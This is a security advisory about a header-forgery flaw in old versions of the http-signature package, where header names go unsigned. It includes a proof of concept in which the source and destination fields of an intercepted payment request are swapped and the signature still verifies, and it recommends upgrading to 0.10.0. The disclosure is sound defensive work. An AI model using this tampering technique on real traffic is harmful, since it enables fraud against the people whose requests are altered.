Header Forgery in http-signature
Affected versions of `http-signature` contain a vulnerability which can allow an attacker in a privileged network position to modify header names and change the meaning of the request, without requiring an updated signature.
This problem occurs because vulnerable versions of `http-signature` sign the contents of headers, but not the header names.
## Proof of Concept
Consider this to be the initial, untampered request:
```http
POST /pay HTTP/1.1
Host:
example.com
Date: Thu, 05 Jan 2012 21:31:40 GMT
X-Payment-Source:
src@money.com
X-Payment-Destination:
dst@money.com
Authorization: Signature keyId="Test",algorithm="rsa-sha256",headers="x-payment-source x-payment-destination" MDyO5tSvin5...
```
And the request is intercepted and tampered as follows:
```http
X-Payment-Source:
dst@money.com // Emails switched
X-Payment-Destination:
src@money.com
Authorization: Signature keyId="Test",algorithm="rsa-sha256",headers="x-payment-destination x-payment-source" MDyO5tSvin5...
```
In the resulting responses, both requests would pass signature verification without issue.
```
src@money.com\n
dst@money.com\n
```
## Recommendation
Update to version 0.10.0 or higher.